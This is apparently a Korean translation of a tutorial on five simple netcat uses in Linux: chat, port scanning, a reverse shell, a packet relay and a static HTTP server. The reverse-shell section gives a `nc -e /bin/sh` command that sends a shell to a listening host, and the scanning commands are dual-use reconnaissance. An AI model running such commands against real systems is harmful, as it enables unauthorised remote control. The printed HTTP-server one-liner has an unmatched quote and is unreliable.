Linux에서 Netcat을 간단하고 쉽게 사용하는 5가지 방법

Linux에서 Netcat을 간단하고 쉽게 사용하는 5가지 방법

Netcat은 TCP 및 UDP 패킷을 보내고 받을 수 있는 Linux의 강력한 명령줄 네트워크 유틸리티입니다. 다른 네트워크 도구와 달리 netcat은 매우 기본적입니다. 그러나 단순성으로 인해 네트워크를 통해 거의 모든 유형의 작업을 수행할 수 있습니다.

이 기사에서는 netcat으로 수행할 수 있는 5가지 간단한 네트워킹 작업을 보여줍니다. 또한 이 기사에서는 netcat이 특별한 이유와 이를 Linux 툴킷에 포함해야 하는 이유를 강조합니다.

Netcat은 어떻게 작동하며 왜 사용합니까?

Netcat은 네트워크 패킷을 보내고 받을 수 있는 기본 유틸리티입니다. 1995년에 Hobbit이라는 이름의 프로그래머가 처음 출시했습니다. 그 이후로 netcat은 모든 Linux 배포판의 중요한 부분이 되었습니다.

본질적으로 netcat은 하나의 Linux 호스트에서 다른 호스트로 네트워크 요청을 전송하여 작동합니다. 이 네트워크 요청에는 모든 유형의 데이터가 포함될 수 있으며 모든 포트에서 보낼 수 있습니다.

netcat을 사용한 간단한 텍스트 전송을 보여주는 터미널.

이 접근 방식은 netcat이 가능한 모든 유형의 네트워크 연결을 생성할 수 있음을 의미합니다. 예를 들어 프로그램은 파일을 전송하거나 역방향 셸 세션을 만드는 데 사용할 수 있는 직접 TCP 연결을 만들 수 있습니다 .

netcat을 사용하여 두 Linux 호스트 간에 간단한 파일 전송을 보여주는 데스크탑.
이미지 출처: Unsplash를 통한 Pedro Lastra .

1. P2P 채팅 세션

netcat의 가장 기본적인 용도 중 하나는 두 Linux 시스템 간의 간단한 피어 투 피어 채팅 세션입니다. 이것은 정보를 송수신하기 위해 타사 서버에 의존하지 않는 통신 방법입니다.

  • 이것이 작동하려면 로컬 컴퓨터에서 49152와 65536 사이의 포트를 열어야 합니다. 여기에서 원격 호스트가 연결하여 임의의 정보를 컴퓨터에 보낼 수 있습니다.

sudo ufw allow 50000

  • 또한 컴퓨터가 정보를 보내려면 원격 호스트에서 다른 포트를 열어야 합니다.

sudo ufw allow 50001

  • netcat다음 인수를 사용하여 컴퓨터에서 실행합니다 .

nc -lp 50000

이렇게 하면 포트 50000에서 데이터를 적극적으로 수신하는 netcat 세션이 열립니다.

  • 원격 호스트는 이제 로컬 시스템으로 모든 텍스트 데이터를 보낼 수 있습니다. 예를 들어, 다음 명령은 시스템의 표준 입력을 원격 시스템으로 보냅니다.

cat - | nc 192.168.122.136 50000

기본 netcat 채팅에 대한 표준 입력 프롬프트를 표시하는 터미널입니다.
  • 메시지에 응답하기 위해 원격 호스트는 수신 데몬도 실행해야 합니다.

nc -lp 50001

  • 이제 로컬 컴퓨터에서 원격 호스트로 메시지를 보낼 수도 있습니다.

cat - | nc 192.168.122.177 50001

전이중 netcat 채팅을 위한 두 개의 가상 터미널을 보여주는 터미널.

2. 기본 포트 스캐너

포트 스캐너는 원격 호스트에서 시스템의 포트 세트에 액세스할 수 있는지 여부를 확인하는 간단한 유틸리티입니다. 이는 시스템에 적절한 포트가 열려 있는지 확실하지 않은 경우에 매우 유용합니다.

nc -v단일 포트를 확인하려면 IP 주소와 확인하려는 포트를 실행하십시오 .

nc -v 192.168.122.177 80

포트 80에 대한 기본 포트 스캔을 보여주는 터미널.

netcat이 해당 범위 내의 각 포트 번호를 순차적으로 확인하는 번호 범위를 제공할 수도 있습니다. 예를 들어 다음 명령을 실행하면 열려 있는 모든 “잘 알려진” 포트를 검색합니다.

nc -v 192.168.122.177 1-1024

다음에 대한 대량 스캔을 보여주는 터미널

포트 쿼리의 단점 중 하나는 불필요한 네트워크 트래픽을 생성한다는 것입니다. 소규모 홈 네트워크에서 광범위한 포트를 테스트하는 경우 문제가 될 수 있습니다.

이 문제를 해결하려면 원격 호스트에서 네트워크 활동을 생성하지 않는 netcat의 “Zero I/O” 모드를 활성화하십시오.

nc -zv 192.168.122.177 1-1024

netcat으로 제로 IO 벌크 포트 스캔을 보여주는 터미널.

3. 리버스 쉘

리버스 셸은 Linux에서 침투 테스트의 빵과 버터입니다. 인바운드 포트를 열지 않고도 시스템을 제어할 수 있는 원격 셸 인스턴스입니다. 이것은 SSH 액세스 권한이 없는 시스템에 액세스해야 하는 경우 리버스 셸을 편리하게 만듭니다.

  • 리버스 셸을 생성하려면 로컬 시스템에서 리스너 데몬을 열어야 합니다.

nc -lp 50000

  • 원격 시스템에서 netcat 연결을 시작하십시오. 이 경우 원격 시스템의 셸 환경도 전달해야 합니다.

nc -e /bin/sh 192.168.122.136 50000

  • 로컬 시스템으로 돌아가서 쉘 명령을 실행하십시오. 예를 들어 실행하면 ls원격 사용자의 현재 디렉토리가 인쇄됩니다.

ls -la

성공적인 리버스 쉘의 출력을 보여주는 터미널.
  • 역방향 셸 세션을 종료하려면 로컬 시스템의 리스너 데몬에서 Ctrl+를 누를 수 있습니다 .C
로컬 머신에서 리버스 쉘이 닫히는 것을 보여주는 터미널.

4. 기본 패킷 릴레이

네트워크 스트림을 직접 읽고 쓰는 것 외에도 netcat을 사용하여 들어오는 연결을 나가는 포트로 리디렉션할 수 있습니다. 이것은 UNIX 파이프를 사용하여 여러 netcat 수신기와 클라이언트 세션을 연결하여 작동합니다.

  • 포트 50000에서 수신 대기하는 netcat 세션을 만듭니다. 이것은 기본 릴레이의 발신 포트 역할을 합니다.

nc -lv localhost 50000

  • 새 터미널을 열고 다음 명령을 실행합니다.

nc -lv localhost 50001 | nc localhost 50000

이렇게 하면 포트 50001에 새 리스너 데몬이 생성되고 이 포트의 모든 패킷이 포트 50000으로 자동으로 리디렉션됩니다.

두 포트 사이의 패스스루 연결을 보여주는 터미널.
  • 이제 들어오는 포트로 데이터를 보낼 수 있으며 netcat은 자동으로 출력을 나가는 포트로 리디렉션합니다.

echo "MakeTechEasier"| nc localhost 50001

작동 중인 기본 패킷 릴레이를 보여주는 터미널.
  • 로컬 포트 ​​외에도 이 기능을 사용하여 모든 네트워크 트래픽을 다른 시스템으로 리디렉션할 수 있습니다. 예를 들어 다음 코드는 포트 50000의 데이터를 다른 시스템의 동일한 포트로 보냅니다.

nc -lv localhost 50000 | nc 192.168.122.177 50000

두 호스트 간의 기본 패킷 릴레이를 보여주는 터미널입니다.

5. 기본 HTTP 서버

단일 페이지만 제공하려는 경우에도 HTTP 서버 설정은 복잡한 프로세스가 될 수 있습니다. 그런 점에서 netcat은 추가 도구를 설치하지 않고도 Linux에서 스핀업할 수 있는 간단한 정적 웹 서버 역할을 할 수도 있습니다.

  • 기본 HTTP 응답 파일을 만듭니다. 다음 코드 스니펫은 간단한 메시지가 포함된 웹 페이지를 표시합니다.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • 홈 디렉토리에 “index.http”로 저장하십시오.
간단한 HTTP 응답의 구조를 보여주는 터미널입니다.
  • 다음 명령을 실행합니다.

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

실행 중인 간단한 netcat 웹서버를 보여주는 터미널.

이제 작동하는 웹 서버가 있습니다. 웹 브라우저를 열고 http://localhost:8080으로 이동하여 웹 페이지를 방문할 수 있습니다.

웹 페이지를 제공하는 작동 중인 netcat 웹 서버를 보여주는 스크린샷.
  • 터미널에서 Ctrl+를 눌러 현재 웹 서버 세션을 종료합니다.C
기본 netcat 웹 서버의 종료 프로세스를 보여주는 터미널입니다.

자주 묻는 질문

netcat을 사용하여 원격 시스템에 연결할 수 없습니다.

이 문제는 원격 시스템의 방화벽 포트가 차단되었기 때문에 발생했을 가능성이 큽니다. 컴퓨터에서 사용 중인 포트가 들어오는 연결과 나가는 연결 모두에 대해 열려 있는지 확인해야 합니다. sudo ufw allow 49999예를 들어 원격 시스템에서 포트 49999를 사용하려면 실행해야 합니다 .

netcat을 사용하여 모든 호스트에 연결할 수 있습니까?

아니요. netcat은 임의의 네트워크 스트림을 읽고 쓸 수 있지만 시스템 네트워크에서 검색할 수 없는 시스템에는 연결할 수 없습니다. 여기에는 포트 포워딩이 활성화되지 않은 개인 네트워크와 네트워크 액세스 권한이 없는 에어 갭 시스템이 포함됩니다.

netcat에서 연결을 스푸핑할 수 있습니까?

아니요. netcat은 유효한 네트워크 인터페이스에서만 패킷을 보내고 받을 수 있기 때문입니다. 그러나 여러 네트워크 인터페이스가 있는 경우 특정 패킷의 출처를 변경할 수 있습니다.

예를 들어, nc -l -s 10.0.0.2 -p 50000IP 주소가 “10.0.0.2”인 인터페이스를 사용하여 명시적으로 패킷을 보내도록 netcat에 지시하도록 실행할 수 있습니다.

이미지 크레디트: Unsplash를 통한 ThisisEngineering RAEng . Ramces Red의 모든 변경 및 스크린샷.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다